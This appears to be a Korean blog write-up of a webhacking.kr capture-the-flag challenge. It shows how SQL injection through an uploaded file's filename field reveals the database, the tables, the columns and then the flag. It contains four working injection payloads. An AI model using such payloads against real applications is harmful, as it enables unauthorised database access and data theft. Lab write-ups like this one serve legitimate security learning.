https://webhacking.kr/challenge/web-14/
메인 페이지는 위와 같다.
플래그는 다른 테이블에 있다고 한다.
임의의 php 파일을 업로드해보았다.
이렇게 정상적으로 업로드가 되는 것을 볼 수 있다.
이번에는 아무 파일도 선택하지 않은 채로 제출 버튼을 누르고 Burp suite로 잡아보았다.
위와 같이 업로드 형식을 확인했다.
우선 웹페이지와 위의 결과를 토대로 유추해보자면 테이블에는 time, ip, filename이 존재할 것이고,
insert into [테이블명] values ('time', 'ip', 'filename') 형식으로 쿼리를 작성할 수 있을 것이다.
먼저 데이터베이스명을 알아내기 위해 아래와 같이 입력했다.
filename="'파일이름','1234','ip주소'),((select database()),'1234','ip주소')#"
입력 후 웹페이지에서 데이터베이스명이 출력되는 것을 확인했다.
데이터베이스명: chall29
다음으로 테이블명을 알아내기 위해 아래와 같이 입력했다.
filename="table_name','1234','ip주소'),((select group_concat(table_name) from information_schema.tables where table_schema='chall29'),'1234','ip주소')#"
테이블명: files, flag_congratz
이 중 플래그는 flag_congratz에 저장되어 있을 것이므로 이 테이블의 컬럼명을 구했다.
filename="column_name','1234','ip주소'),(select group_concat(column_name) from information_schema.columns where table_name='flag_congratz'),'1234','ip주소')#""
컬럼명: flag
이제 flag 컬럼의 내용을 알아내기 위해 다음과 같이 입력했다.
filename="flag','1234','ip주소'),((select flag from flag_congratz),'1234','ip주소')#""
플래그: FLAG{didYouFeelConfused?_sorry:)}
Clear!
'WEB > Webhacking.kr' 카테고리의 다른 글
[Challenge(Old)] old-02 (50) (0) | 2021.11.21 |
---|---|
[Challenge(Old)] old-34 (40) (0) | 2021.11.05 |
[Challenge(Old)] old-55 (40) (0) | 2021.10.09 |
[Challenge(Old)] old-53 (35) (0) | 2021.10.09 |
[Challenge(Old)] old-46 (30) (0) | 2021.10.02 |